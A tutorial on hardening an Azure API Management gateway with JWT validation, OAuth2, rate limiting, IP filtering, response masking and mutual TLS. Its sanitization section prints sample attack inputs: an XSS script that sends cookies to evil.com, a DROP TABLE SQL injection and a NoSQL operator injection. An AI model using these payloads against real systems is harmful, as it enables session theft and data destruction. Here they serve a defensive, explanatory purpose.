Building a Secure API Gateway with Azure APIM Policies
Why API Gateway Security Matters
When building APIs in Azure, your API Management (APIM) instance is often the first line of defense against malicious attacks. Without proper security policies, your backend services are exposed to:
- Unauthorized access - Anyone can call your APIs
- Data breaches - Sensitive data can be stolen
- DDoS attacks - Your services can be overwhelmed
- Token theft - JWT tokens can be forged or stolen
In this comprehensive guide, we'll build a production-ready secure API gateway with multiple layers of protection.
Understanding the Security Architecture
Before writing policies, let's understand the security layers we need:
┌─────────────────────────────────────────────────────────────┐
│ Client Applications │
└─────────────────────────┬───────────────────────────────────┘
│ HTTPS
┌─────────────────────────▼───────────────────────────────────┐
│ Azure API Management │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ Rate Limit │ │ JWT Valid │ │ OAuth2 Validation │ │
│ │ Policy │ │ Policy │ │ Policy │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ IP Filter │ │ Header │ │ Response │ │
│ │ Policy │ │ Sanitize │ │ Masking │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
└─────────────────────────┬───────────────────────────────────┘
│
┌─────────────────────────▼───────────────────────────────────┐
│ Backend APIs │
│ (Your Actual Services) │
└─────────────────────────────────────────────────────────────┘
Step 1: JWT Token Validation
JWT (JSON Web Token) is the standard for API authentication. Let's implement proper JWT validation.
Why JWT?
- Stateless - No session storage needed
- Portable - Works across domains and services
- Secure - Can be signed and encrypted
- Standard - Widely supported by all platforms
Anatomy of a JWT Token
// Header - tells us the algorithm and token type
{
"alg": "RS256", // RSA signature with SHA-256
"typ": "JWT" // Token type
}
// Payload - contains the claims (data)
{
"aud": "api://my-app-id", // Audience - who this token is for
"iss": "https://login.microsoftonline.com/tenant-id/v2.0", // Issuer
"iat": 1704067200, // Issued at (Unix timestamp)
"exp": 1704070800, // Expiration time
"oid": "user-object-id", // User's Azure AD object ID
"roles": ["User", "Admin"], // Roles assigned to user
"name": "John Doe", // User's display name
"preferred_username": "john@domain.com" // User's email
}
// Signature - verifies the token wasn't tampered with
// This is a cryptographic signature using the private key of the issuer
The Policy Configuration
<inbound>
<!-- Validate JWT token from Authorization header -->
<validate-jwt header-name="Authorization"
failed-validation-error-message="Unauthorized. Invalid or missing token.">
<openid-config url="https://login.microsoftonline.com/{tenant-id}/v2.0/.well-known/openid-configuration" />
<audiences>
<audience>api://your-api-client-id</audience>
</audiences>
<issuers>
<issuer>https://login.microsoftonline.com/{tenant-id}/v2.0</issuer>
</issuers>
<required-claims>
<claim name="roles" match="any">
<value>User</value>
<value>Admin</value>
</claim>
</required-claims>
</validate-jwt>
<!-- Continue with other policies -->
<base />
</inbound>
Understanding Each Element
<openid-config url="...">
- Fetches the OpenID configuration from your identity provider
- Contains the public keys needed to verify token signatures
- Azure AD publishes this at
https://login.microsoftonline.com/{tenant}/v2.0/.well-known/openid-configuration - The configuration includes: issuer URL, JSON Web Key Set (JWKS) endpoint for signing keys
<audiences>
- Specifies which applications the token is intended for
- Prevents token reuse across different services
- Must match the
audclaim in your JWT
<issuers>
- Validates who issued the token
- Prevents tokens from forged identity providers
- Azure AD uses
https://login.microsoftonline.com/{tenant}/v2.0
<required-claims>
- Enforces specific claims must be present
- Here we require at least one valid role
- Can use "all" (all claims must exist) or "any" (at least one must exist)
Backend Implementation - Validating JWT in Your API
// Program.cs - Configure authentication with JWT Bearer
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using System.IdentityModel.Tokens.Jwt;
var builder = WebApplication.CreateBuilder(args);
// Configure JWT Bearer authentication
builder.Services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
.AddJwtBearer(options =>
{
options.Authority = $"https://login.microsoftonline.com/{builder.Configuration["AzureAD:TenantId"]}/v2.0";
options.Audience = builder.Configuration["AzureAD:ClientId"];
// Token validation parameters - why each matters
options.TokenValidationParameters = new TokenValidationParameters
{
// Ensure token is not expired - prevents use of old stolen tokens
ValidateLifetime = true,
// Require expiration claim - tokens without exp are security risk
RequireExpirationTime = true,
// Validate the signing key matches what we expect
ValidateIssuerSigningKey = true,
// Validate the issuer matches Azure AD
ValidateIssuer = true,
// Validate the audience matches our API
ValidateAudience = true,
// Clock skew allowance - prevents issues with time sync
// 5 minutes is standard - gives buffer for distributed systems
ClockSkew = TimeSpan.FromMinutes(5),
// Valid issuers for Azure AD v2.0
ValidIssuer = $"https://login.microsoftonline.com/{builder.Configuration["AzureAD:TenantId"]}/v2.0",
// Valid audience should be the API's app ID URI
ValidAudience = $"api://{builder.Configuration["AzureAD:ClientId"]}"
};
// Event handlers for debugging
options.Events = new JwtBearerEvents
{
OnAuthenticationFailed = context =>
{
var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
logger.LogError("Authentication failed: {Message}", context.Exception.Message);
return Task.CompletedTask;
},
OnTokenValidated = context =>
{
var logger = context.HttpContext.RequestServices.GetRequiredService<ILogger<Program>>();
var userId = context.Principal?.FindFirst("oid")?.Value;
var roles = context.Principal?.FindAll("roles").Select(c => c.Value);
logger.LogInformation("User {UserId} authenticated with roles: {Roles}", userId, string.Join(", ", roles ?? new[] { "none" }));
return Task.CompletedTask;
}
};
});
// Add authorization
builder.Services.AddAuthorization();
// Build the app
var app = builder.Build();
app.UseAuthentication();
app.UseAuthorization();
// Now you can protect endpoints
app.MapGet("/protected", () => "This is a protected resource")
.RequireAuthorization();
app.Run();
Using the Authenticated User in Your Controller
using System.Security.Claims;
using Microsoft.AspNetCore.Authorization;
[ApiController]
[Route("api/[controller]")]
public class UsersController : ControllerBase
{
private readonly IUserService _userService;
private readonly ILogger<UsersController> _logger;
public UsersController(IUserService userService, ILogger<UsersController> logger)
{
_userService = userService;
_logger = logger;
}
[HttpGet("profile")]
[Authorize] // Requires valid JWT token
public async Task<ActionResult<UserProfile>> GetProfile()
{
// Get user ID from JWT claims - this is the most secure way
// The "oid" (object ID) claim is the user's Azure AD identity
var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value
?? User.FindFirst("oid")?.Value;
if (string.IsNullOrEmpty(userId))
{
_logger.LogWarning("Request without user ID in token");
return Unauthorized();
}
_logger.LogInformation("Fetching profile for user {UserId}", userId);
var profile = await _userService.GetProfileAsync(userId);
return Ok(profile);
}
[HttpDelete("account")]
[Authorize(Roles = "Admin")] // Requires Admin role in JWT
public async Task<ActionResult> DeleteUserAccount([FromBody] DeleteAccountRequest request)
{
// Get the calling user's ID for audit trail
var callerId = User.FindFirst("oid")?.Value;
var callerRoles = User.FindAll(ClaimTypes.Role).Select(c => c.Value);
_logger.LogInformation("User {CallerId} (roles: {Roles}) attempting to delete account {TargetId}",
callerId, string.Join(",", callerRoles), request.UserId);
// Additional authorization check
if (!User.HasPermission("delete:users"))
{
return Forbid();
}
await _userService.DeleteAccountAsync(request.UserId);
return NoContent();
}
}
// Example of policy-based authorization
[HttpGet("reports")]
[Authorize(Policy = "CanViewReports")] // Custom policy requiring specific permissions
public async Task<ActionResult<Reports>> GetReports([FromQuery] DateTime from, [FromQuery] DateTime to)
{
var userPermissions = User.FindAll("roles").Select(r => r.Value).ToList();
var departments = User.FindFirst("groups")?.Value?.Split(',') ?? Array.Empty<string>();
// Additional logic for data scoping
if (!User.IsInRole("SuperAdmin"))
{
// Filter reports to user's department only
var userDept = departments.FirstOrDefault();
return Ok(await _reportService.GetDepartmentReportsAsync(userDept, from, to));
}
return Ok(await _reportService.GetAllReportsAsync(from, to));
}
Common JWT Validation Issues and Solutions
// Problem 1: Token expired error
// Cause: Server clock is out of sync with Azure AD
// Solution: Use NTP to sync your server time
// Problem 2: Audience mismatch
// Cause: Token was requested for wrong audience (different API)
// Wrong: requesting token for Graph API but using for your API
// Solution: Request token with correct scope:
// Correct scope: "api://your-app-id/.default"
// Wrong: "https://graph.microsoft.com/.default"
// Problem 3: Signature invalid
// Cause: Token was modified after Azure AD issued it
// Solution: Never modify tokens; use them exactly as received
// Problem 4: Issuer mismatch
// Cause: Using v1.0 endpoint but expecting v2.0 tokens
// Solution: Use v2.0 endpoint consistently:
// https://login.microsoftonline.com/{tenant}/v2.0
// Problem 5: Claims missing
// Cause: Azure AD doesn't include requested claims by default
// Solution: Configure optional claims in app registration:
// In Azure Portal: App Registrations → Your App → Token configuration
Step 2: OAuth2 Authorization Code Flow
For user-facing applications, we need the full OAuth2 flow. Let's implement it properly.
The OAuth2 Flow Explained
┌──────────┐ ┌──────────────┐
│ User │ │ Your App │
└────┬─────┘ └──────┬───────┘
│ │
│ 1. User clicks "Login" │
│◄───────────────────────────────────────── │
│ │
│ 2. Redirect to Azure AD │
│────────────────────────────────────────► │
│ https://login.microsoftonline.com/... │
│ │
│ ┌────────────────────────────┐ │
│ │ Azure AD Login Page │ │
│ │ (Hosted by Microsoft) │ │
│ └────────────────────────────┘ │
│ │
│ 3. User enters credentials │
│◄───────────────────────────────────────── │
│ │
│ 4. Redirect with auth code │
│◄───────────────────────────────────────── │
│ ?code=0.ABC.DEF...&state=xyz │
│ │
│ 5. Exchange code for tokens │
│────────────────────────────────────────► │
│ POST /oauth2/v2.0/token │
│ │
│ 6. Receive access + refresh token │
│◄───────────────────────────────────────── │
│ { "access_token": "...", │
│ "refresh_token": "...", │
│ "expires_in": 3600 } │
│ │
│ 7. Use access token for API calls │
│◄───────────────────────────────────────── │
│ │
│ 8. API validates token │
│────────────────────────────────────────► │
Frontend Implementation - MSAL Library
// authConfig.ts - MSAL Configuration
import { Configuration, PopupConfiguration } from "@azure/msal-browser";
export const msalConfig: Configuration = {
auth: {
clientId: "YOUR_CLIENT_ID", // Your app's client ID
authority: "https://login.microsoftonline.com/YOUR_TENANT_ID/v2.0",
redirectUri: window.location.origin, // Where to redirect after login
postLogoutRedirectUri: window.location.origin,
navigateToLoginRequestUrl: true // Save requested URL for redirect
},
cache: {
cacheLocation: "sessionStorage", // Where to store tokens
storeAuthStateInCookie: false // Security: don't store in cookies
}
};
// Login request configuration
export const loginRequest = {
scopes: ["api://YOUR_API_CLIENTID/access_as_user"] // Your API's scope
};
// Graph API scopes (if needed)
export const graphConfig = {
graphMeEndpoint: "https://graph.microsoft.com/v1.0/me"
};
// msalInstance.ts - Initialize MSAL
import { PublicClientApplication } from "@azure/msal-browser";
let msalInstance: PublicClientApplication | null = null;
export const getMsalInstance = async () => {
if (!msalInstance) {
msalInstance = new PublicClientApplication(msalConfig);
await msalInstance.initialize();
}
return msalInstance;
};
// Login with popup (for single-page apps)
export const loginPopup = async () => {
const instance = await getMsalInstance();
try {
const response = await instance.loginPopup(loginRequest);
console.log("Login successful:", response.account?.username);
return response;
} catch (error) {
console.error("Login failed:", error);
throw error;
}
};
// Login with redirect (for server-rendered apps)
export const loginRedirect = async () => {
const instance = await getMsalInstance();
await instance.loginRedirect(loginRequest);
};
// Get access token silently
export const getAccessToken = async () => {
const instance = await getMsalInstance();
const accounts = instance.getAllAccounts();
if (accounts.length === 0) {
throw new Error("No user is logged in");
}
try {
const response = await instance.acquireTokenSilent({
...loginRequest,
account: accounts[0]
});
return response.accessToken;
} catch (error) {
// If silent token acquisition fails, fall back to interactive
console.log("Silent token acquisition failed, trying popup");
return (await instance.acquireTokenPopup(loginRequest)).accessToken;
}
};
// Logout
export const logout = async () => {
const instance = await getMsalInstance();
await instance.logoutPopup({
postLogoutRedirectUri: window.location.origin
});
};
// useAuth.ts - React hook for authentication
import { useState, useEffect, createContext, useContext } from "react";
import { getMsalInstance, loginPopup, logout as msalLogout, getAccessToken } from "./msalInstance";
interface AuthContextType {
isAuthenticated: boolean;
user: any | null;
login: () => Promise<void>;
logout: () => Promise<void>;
getToken: () => Promise<string>;
}
const AuthContext = createContext<AuthContextType | null>(null);
export const AuthProvider = ({ children }: { children: React.ReactNode }) => {
const [isAuthenticated, setIsAuthenticated] = useState(false);
const [user, setUser] = useState<any | null>(null);
useEffect(() => {
const checkAuth = async () => {
try {
const instance = await getMsalInstance();
const accounts = instance.getAllAccounts();
if (accounts.length > 0) {
setIsAuthenticated(true);
setUser(accounts[0]);
}
} catch (error) {
console.error("Auth check failed:", error);
}
};
checkAuth();
}, []);
const login = async () => {
await loginPopup();
const instance = await getMsalInstance();
const accounts = instance.getAllAccounts();
if (accounts.length > 0) {
setUser(accounts[0]);
setIsAuthenticated(true);
}
};
const logout = async () => {
await msalLogout();
setUser(null);
setIsAuthenticated(false);
};
const getToken = async () => {
return await getAccessToken();
};
return (
<AuthContext.Provider value={{ isAuthenticated, user, login, logout, getToken }}>
{children}
</AuthContext.Provider>
);
};
export const useAuth = () => {
const context = useContext(AuthContext);
if (!context) {
throw new Error("useAuth must be used within AuthProvider");
}
return context;
};
// apiClient.ts - API client with automatic token handling
import { getAccessToken } from "./msalInstance";
class ApiClient {
private baseUrl = "https://your-api.azure-api.net";
private async getHeaders(): Promise<HeadersInit> {
const token = await getAccessToken();
return {
"Authorization": `Bearer ${token}`,
"Content-Type": "application/json"
};
}
async get<T>(endpoint: string): Promise<T> {
const response = await fetch(`${this.baseUrl}${endpoint}`, {
method: "GET",
headers: await this.getHeaders()
});
if (!response.ok) {
const error = await response.text();
throw new Error(`API Error: ${error}`);
}
return response.json();
}
async post<T>(endpoint: string, data: any): Promise<T> {
const response = await fetch(`${this.baseUrl}${endpoint}`, {
method: "POST",
headers: await this.getHeaders(),
body: JSON.stringify(data)
});
if (!response.ok) {
const error = await response.text();
throw new Error(`API Error: ${error}`);
}
return response.json();
}
}
export const apiClient = new ApiClient();
Backend Token Validation
// For service-to-service communication (no user context)
// This is the Client Credentials flow
public class TokenService
{
private readonly string _tenantId;
private readonly string _clientId;
private readonly string _clientSecret;
public TokenService(IConfiguration configuration)
{
_tenantId = configuration["AzureAD:TenantId"];
_clientId = configuration["AzureAD:ClientId"];
_clientSecret = configuration["AzureAD:ClientSecret"];
}
public async Task<string> GetAccessTokenAsync()
{
// Use cached token if still valid
if (_cachedToken != null && _tokenExpiry > DateTime.UtcNow)
{
return _cachedToken;
}
var tokenClient = new HttpClient();
var requestBody = new Dictionary<string, string>
{
["grant_type"] = "client_credentials",
["client_id"] = _clientId,
["client_secret"] = _clientSecret,
["scope"] = $"api://{_clientId}/.default" // Request API access
};
var response = await tokenClient.PostAsync(
$"https://login.microsoftonline.com/{_tenantId}/oauth2/v2.0/token",
new FormUrlEncodedContent(requestBody));
if (!response.IsSuccessStatusCode)
{
var error = await response.Content.ReadAsStringAsync();
throw new Exception($"Failed to get token: {error}");
}
var result = await response.Content.ReadAsAsync<TokenResponse>();
// Cache the token - but be careful with timing
_cachedToken = result.AccessToken;
_tokenExpiry = DateTime.UtcNow.AddSeconds(result.ExpiresIn - 60); // 60s buffer
return result.AccessToken;
}
private string _cachedToken;
private DateTime _tokenExpiry;
}
public class TokenResponse
{
[JsonProperty("access_token")]
public string AccessToken { get; set; }
[JsonProperty("token_type")]
public string TokenType { get; set; }
[JsonProperty("expires_in")]
public int ExpiresIn { get; set; }
}
Why Use Refresh Tokens?
// Access tokens typically expire in 1 hour (3600 seconds)
// This is intentional - limits damage if token is compromised
// Refresh tokens can last much longer (up to 90 days in Azure AD)
// This provides better UX - users don't need to log in frequently
// Implementing token refresh in your client
public class TokenManager
{
private readonly HttpClient _httpClient;
private string _refreshToken;
private DateTime _tokenExpiry;
public async Task<string> GetValidTokenAsync()
{
// Return cached token if still valid
if (_accessToken != null && _tokenExpiry > DateTime.UtcNow.AddMinutes(5))
{
return _accessToken;
}
// Token expired or about to expire - refresh it
return await RefreshTokenAsync();
}
private async Task RefreshTokenAsync()
{
var requestBody = new Dictionary<string, string>
{
["grant_type"] = "refresh_token",
["refresh_token"] = _refreshToken,
["client_id"] = _clientId,
["client_secret"] = _clientSecret
};
var response = await _httpClient.PostAsync(
_tokenEndpoint,
new FormUrlEncodedContent(requestBody));
if (!response.IsSuccessStatusCode)
{
// Refresh token might be revoked - user needs to log in again
throw new AuthenticationException("Session expired. Please log in again.");
}
var newTokens = await response.Content.ReadAsAsync<TokenResponse>();
_accessToken = newTokens.AccessToken;
_refreshToken = newTokens.RefreshToken;
_tokenExpiry = DateTime.UtcNow.AddSeconds(newTokens.ExpiresIn);
return _accessToken;
}
}
// Why refresh tokens improve security
// 1. Short-lived access tokens limit damage window if compromised
// 2. Refresh tokens can be instantly revoked if suspicious activity detected
// 3. Microsoft validates refresh tokens per session/device
// 4. Compromised refresh token = limited window of attack opportunity
// 5. You can implement token rotation on each refresh
Step 3: Rate Limiting Implementation
Rate limiting prevents abuse and ensures fair usage. Here's how to implement it correctly.
Why Rate Limiting?
Without rate limiting, a single client can overwhelm your API:
Without Rate Limiting - Traffic Spike Scenario:
┌────────────────────────────────────────────────────┐
│ Traffic Spike │
│ ████████████████████████████████████████████████ │
│ 1000 requests/second │
│ │
│ Result: Server crashes → All users affected │
│ Downtime: Minutes to hours │
│ Cost: Lost revenue, reputation damage │
└────────────────────────────────────────────────────┘
With Rate Limiting - Controlled Traffic:
┌────────────────────────────────────────────────────┐
│ Controlled Traffic │
│ ████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░ │
│ 100 requests allowed, remaining queued/rejected │
│ │
│ Result: System remains healthy │
│ Good users: Experience consistent performance │
│ abusers: Get 429, can't overwhelm system │
└────────────────────────────────────────────────────┘
Rate Limit Policy Configuration
<inbound>
<!-- Rate limiting by subscription key -->
<!-- Why subscription key? It's tied to the API product/plan -->
<rate-limit-by-key calls="100"
renewal-period="60"
counter-key="@(context.Subscription?.Key ?? "anonymous")"
increment-condition="@(context.Request.Method == "GET")" />
<!-- Alternative: Rate limiting by JWT claims (per-user) -->
<!-- Use this when you want individual user limits -->
<rate-limit-by-key calls="50"
renewal-period="60"
counter-key="@(context.User?.FindFirst("oid")?.Value ?? "anonymous")"
increment-condition="@(context.Request.Method != "OPTIONS")" />
<!-- For write operations, be more restrictive -->
<rate-limit-by-key calls="10"
renewal-period="60"
counter-key="@(context.User?.FindFirst("oid")?.Value ?? "anonymous")"
increment-condition="@(context.Request.Method == "POST" || context.Request.Method == "PUT" || context.Request.Method == "DELETE")" />
<base />
</inbound>
<outbound>
<!-- Add rate limit headers so clients know their quota -->
<!-- This is critical for client-side rate limit handling -->
<set-header name="X-Rate-Limit-Limit" exists-action="override">
<value>100</value>
</set-header>
<set-header name="X-Rate-Limit-Remaining" exists-action="override">
<!-- This comes from APIM's rate limit tracking -->
<value>@(context.Variables.GetValueOrDefault<int>("ratelimit.remaining", 0).ToString())</value>
</set-header>
<set-header name="X-Rate-Limit-Reset" exists-action="override">
<!-- Unix timestamp when the rate limit window resets -->
<value>@(context.Variables.GetValueOrDefault<DateTime>("ratelimit.reset", DateTime.UtcNow).ToUnixTimeSeconds().ToString())</value>
</set-header>
</outbound>
Handling Rate Limit Responses in Your Client
// apiClient.ts - Smart retry with rate limit handling
class SmartApiClient {
private maxRetries = 3;
private baseDelay = 1000; // 1 second
async fetchWithRetry<T>(url: string, options: RequestInit = {}): Promise<T> {
let lastError: Error | null = null;
for (let attempt = 0; attempt < this.maxRetries; attempt++) {
try {
const response = await fetch(url, options);
// Success!
if (response.ok) {
return response.json();
}
// Rate limited - need to wait and retry
if (response.status === 429) {
const retryAfter = response.headers.get("Retry-After");
const waitTime = retryAfter
? parseInt(retryAfter) * 1000
: this.baseDelay * Math.pow(2, attempt);
console.log(`Rate limited. Waiting ${waitTime}ms before retry ${attempt + 1}/${this.maxRetries}`);
await this.sleep(waitTime);
continue;
}
// Other errors - don't retry
const errorBody = await response.text();
throw new Error(`HTTP ${response.status}: ${errorBody}`);
} catch (error) {
lastError = error as Error;
// Network errors - retry with exponential backoff
if (this.isNetworkError(error)) {
const waitTime = this.baseDelay * Math.pow(2, attempt);
console.log(`Network error. Retrying in ${waitTime}ms...`);
await this.sleep(waitTime);
} else {
// Non-retryable error
throw error;
}
}
}
throw lastError || new Error("Max retries exceeded");
}
private sleep(ms: number): Promise<void> {
return new Promise(resolve => setTimeout(resolve, ms));
}
private isNetworkError(error: any): boolean {
return error.name === "TypeError" && error.message.includes("fetch");
}
}
// C# implementation of retry logic
public class ResilientApiClient
{
private readonly HttpClient _httpClient;
private readonly ILogger<ResilientApiClient> _logger;
public async Task<T> GetAsync<T>(string endpoint, CancellationToken ct = default)
{
var attempt = 0;
var maxAttempts = 3;
var delay = TimeSpan.FromSeconds(1);
while (attempt < maxAttempts)
{
try
{
var response = await _httpClient.GetAsync(endpoint, ct);
if (response.IsSuccessStatusCode)
{
return await response.Content.ReadAsAsync<T>();
}
if (response.StatusCode == HttpStatusCode.TooManyRequests)
{
var retryAfter = response.Headers.RetryAfter?.Delta ?? delay;
_logger.LogWarning("Rate limited. Retry-After: {RetryAfter}", retryAfter);
await Task.Delay(retryAfter, ct);
attempt++;
delay *= 2; // Exponential backoff
continue;
}
response.EnsureSuccessStatusCode();
}
catch (TaskCanceledException) when (ct.IsCancellationRequested)
{
throw;
}
catch (TaskCanceledException)
{
// Timeout - retry
_logger.LogWarning("Request timeout. Attempt {Attempt}/{Max}", attempt + 1, maxAttempts);
attempt++;
await Task.Delay(delay, ct);
delay *= 2;
}
}
throw new HttpRequestException("Max retries exceeded for API call");
}
}
Why Exponential Backoff?
Without backoff: With exponential backoff:
100 requests 100 requests at once
| |
| | wait 1s
| wait 1s | wait 2s
| wait 1s | wait 4s
| wait 1s | wait 8s
| |
v v
Server gets Server gets
hammered breathing room
Result: 429 Result: Most succeed
overwhelmed with minimal wait
The reason exponential backoff works:
- Gives the system time to recover between attempts
- Prevents "thundering herd" problem where all clients retry simultaneously
- Respects server's rate limit windows
- RFC 6585 compliant approach
- Adapts to varying server capacities
Step 4: IP Filtering and Restrictions
Block malicious IPs and restrict access to specific networks.
IP Whitelist Configuration
<inbound>
<!-- Method 1: Allow specific ranges only -->
<ip-filter action="allow">
<!-- Azure Front Door IP ranges for APIM -->
<address>13.107.42.0/24</address>
<address>13.107.128.0/22</address>
<!-- Your internal network -->
<address>10.0.0.0/8</address>
<address>172.16.0.0/12</address>
<!-- Specific IPs -->
<address-range from="192.168.1.0" to="192.168.1.255" />
</ip-filter>
<!-- Method 2: Block known malicious IPs -->
<ip-filter action="deny">
<!-- Known bad actors - maintain this list! -->
<address>185.220.101.1</address> <!-- Example malicious IP -->
<address>91.121.87.10</address>
<address-range from="1.2.3.0" to="1.2.3.255" />
</ip-filter>
<!-- Method 3: Combine both - default deny, allow specific -->
<!-- Note: This requires policy order carefully -->
<base />
</inbound>
Why IP Filtering Matters
// In your backend API, validate source IP for sensitive operations
public class SecureAdminController : ControllerBase
{
private readonly ILogger<SecureAdminController> _logger;
private readonly IConfiguration _configuration;
[HttpPost("admin/delete-user")]
[Authorize(Roles = "Admin")]
public async Task<IActionResult> DeleteUser([FromBody] DeleteUserRequest request)
{
// Get the original client IP
// Important: If behind a load balancer, check X-Forwarded-For
var clientIp = GetClientIpAddress();
// Log the attempt for security monitoring
_logger.LogInformation(
"Admin action 'DeleteUser' by {UserId} from IP {Ip}",
User.FindFirst("oid")?.Value,
clientIp);
// Validate admin is accessing from allowed network
if (!IsAdminNetwork(clientIp))
{
_logger.LogWarning(
"Admin action from unapproved IP: {Ip} - User: {UserId}",
clientIp,
User.FindFirst("oid")?.Value);
// Don't reveal that this IP is blocked
return Forbid("You don't have permission to perform this action");
}
await _userService.DeleteUserAsync(request.UserId);
return Ok(new { message = "User deleted successfully" });
}
private string GetClientIpAddress()
{
// Check X-Original-IP header (set by APIM or API Gateway)
var originalIp = Request.Headers["X-Original-IP"].FirstOrDefault();
if (!string.IsNullOrEmpty(originalIp))
return originalIp;
// Check X-Forwarded-For (standard for load balancers/proxies)
var forwardedFor = Request.Headers["X-Forwarded-For"].FirstOrDefault();
if (!string.IsNullOrEmpty(forwardedFor))
return forwardedFor.Split(',').First().Trim();
// Fall back to connection remote IP
return HttpContext.Connection.RemoteIpAddress?.ToString() ?? "unknown";
}
private bool IsAdminNetwork(string ip)
{
// Your admin networks - update this list!
var adminRanges = new[]
{
IPNetwork.Parse("10.0.0.0/8"),
IPNetwork.Parse("172.16.0.0/12"),
IPNetwork.Parse("192.168.0.0/16")
};
if (!IPAddress.TryParse(ip, out var ipAddr))
return false;
return adminRanges.Any(range => range.Contains(ipAddr));
}
}
Step 5: Request/Response Sanitization
Prevent injection attacks and protect sensitive data.
Remove Sensitive Headers from Request
<inbound>
<!-- Remove internal headers that shouldn't reach backend -->
<!-- These headers might expose infrastructure details -->
<set-header name="X-Internal-Tracking-Id" exists-action="delete" />
<set-header name="X-Deployment-Id" exists-action="delete" />
<set-header name="X-Azure-Functions-Execution-Id" exists-action="delete" />
<!-- Generate new correlation ID for tracking -->
<set-header name="X-Correlation-Id" exists-action="override">
<value>@(Guid.NewGuid().ToString())</value>
</set-header>
<!-- Validate Content-Type to prevent content injection -->
<choose>
<when condition="@(context.Request.Headers.GetValueOrDefault("Content-Type","").Contains("application/json") || context.Request.Method == "GET")">
<continue />
</when>
<otherwise>
<return-response>
<set-status code="415" reason="Unsupported Media Type" />
<set-body>{"error": "Only application/json content type supported for request body"}</set-body>
</return-response>
</otherwise>
</choose>
<base />
</inbound>
Mask Sensitive Response Data
<outbound>
<!-- Mask credit card numbers in responses -->
<set-body>@{
var body = context.Response.Body as JObject;
if (body != null)
{
// Mask credit card numbers - only show last 4 digits
if (body["payment"]?["cardNumber"] != null)
{
var cardNumber = body["payment"]["cardNumber"].ToString();
if (cardNumber.Length >= 4)
{
body["payment"]["cardNumber"] = "****-****-****-" + cardNumber.Substring(cardNumber.Length - 4);
}
}
// Mask Social Security Numbers
if (body["ssn"] != null)
{
body["ssn"] = "***-**-" + body["ssn"].ToString().Substring(body["ssn"].ToString().Length - 4);
}
// Remove internal IDs that shouldn't be exposed
body.Remove("internalId");
body.Remove("systemTraceId");
body.Remove("databaseId");
// Mask API keys in response
if (body["apiKey"] != null)
{
var apiKey = body["apiKey"].ToString();
if (apiKey.Length > 8)
{
body["apiKey"] = apiKey.Substring(0, 4) + "****" + apiKey.Substring(apiKey.Length - 4);
}
}
}
return body?.ToString();
}</set-body>
<!-- Remove backend headers that shouldn't reach client -->
<!-- These reveal server technology -->
<set-header name="X-Powered-By" exists-action="delete" />
<set-header name="X-AspNet-Version" exists-action="delete" />
<set-header name="Server" exists-action="delete" />
<set-header name="X-Azure-Deployment-Id" exists-action="delete" />
<!-- Add security headers -->
<set-header name="Strict-Transport-Security" exists-action="override">
<value>max-age=31536000; includeSubDomains</value>
</set-header>
<set-header name="X-Content-Type-Options" exists-action="override">
<value>nosniff</value>
</set-header>
<set-header name="X-Frame-Options" exists-action="override">
<value>DENY</value>
</set-header>
<set-header name="Content-Security-Policy" exists-action="override">
<value>default-src 'self'</value>
</set-header>
<base />
</outbound>
Why Sanitization is Critical
// Example of injection attacks that sanitization prevents
// 1. XSS (Cross-Site Scripting) Attack
// Without sanitization, an attacker could inject:
{
"comment": "<script>document.location='https://evil.com/?c='+document.cookie</script>"
}
// When another user views this comment, their cookies are stolen!
// 2. SQL Injection Attack
// If you do this (NEVER DO THIS):
var sql = $"SELECT * FROM Users WHERE Name = '{userInput}'";
// Attacker enters: "'; DROP TABLE Users;--"
// Results in: SELECT * FROM Users WHERE Name = ''; DROP TABLE Users;--'
// 3. NoSQL Injection
// If using MongoDB without validation:
var query = new BsonDocument("username", userInput);
// Attacker enters: { "$gt": "" } to match all users
// Proper sanitization in your API:
public class UserInputValidator
{
private static readonly Regex HtmlPattern = new Regex(
@"<script[^>]*>.*?</script>|<[^>]+on\w+\s*=",
RegexOptions.IgnoreCase | RegexOptions.Compiled);
public CreateUserRequest Validate(CreateUserRequest request)
{
// Remove HTML/script tags from name
if (!string.IsNullOrEmpty(request.Name))
{
var sanitized = HtmlPattern.Replace(request.Name, "");
request.Name = sanitized.Trim();
}
// Validate email format strictly
if (!IsValidEmail(request.Email))
throw new ValidationException("Invalid email format");
// Limit string lengths to prevent buffer overflow
if (request.Name?.Length > 100)
request.Name = request.Name.Substring(0, 100);
return request;
}
private bool IsValidEmail(string email)
{
// Strict email validation
return !string.IsNullOrWhiteSpace(email)
&& Regex.IsMatch(email, @"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$");
}
}
Step 6: Backend Security and Mutual TLS
Secure the communication between APIM and your backend APIs.
Configure Mutual TLS in APIM
<!-- In your APIM backend configuration via ARM template or API -->
<backend>
<url>https://your-backend-api.azurewebsites.net</url>
<tls>
<validate-server-certificate>true</validate-server-certificate>
<validate-trust-chain>true</validate-trust-chain>
</tls>
<client-certificate>
<!-- Store in Key Vault and reference -->
<certificate-id>https://your-key-vault.vault.azure.net/secrets/backend-client-cert</certificate-id>
</client-certificate>
</backend>
Why Mutual TLS Matters
Without mTLS: With mTLS:
┌─────────┐ ┌─────────┐
│ APIM │ ──► HTTPS │ APIM │ ──► mTLS
└────┬────┘ └────┬────┘
│ │
│ Only server verified │ Both sides verified
│ Client is anonymous │ Identity confirmed both ways
▼ ▼
┌─────────┐ ┌─────────┐
│ Backend │ │ Backend │
│ Server │ │ Server │
└─────────┘ └─────────┘
RISK: Attacker can impersonate RISK: Only clients with valid
your backend with fake server certificate can communicate
- Serve fake data - Man-in-the-middle impossible
- Phish for credentials - Backend trusts only APIM
Backend Implementation - Require Client Certificate
// Program.cs - Require client certificates
builder.Services.AddAuthentication(CertificateAuthenticationDefaults.AuthenticationScheme)
.AddCertificate(options =>
{
// Validate certificate chain - ensures cert is from trusted CA
options.RevocationMode = X509RevocationMode.Online;
options.ValidateCertificateChain = true;
// Validation events for debugging
options.Events = new CertificateAuthenticationEvents
{
OnCertificateValidated = context =>
{
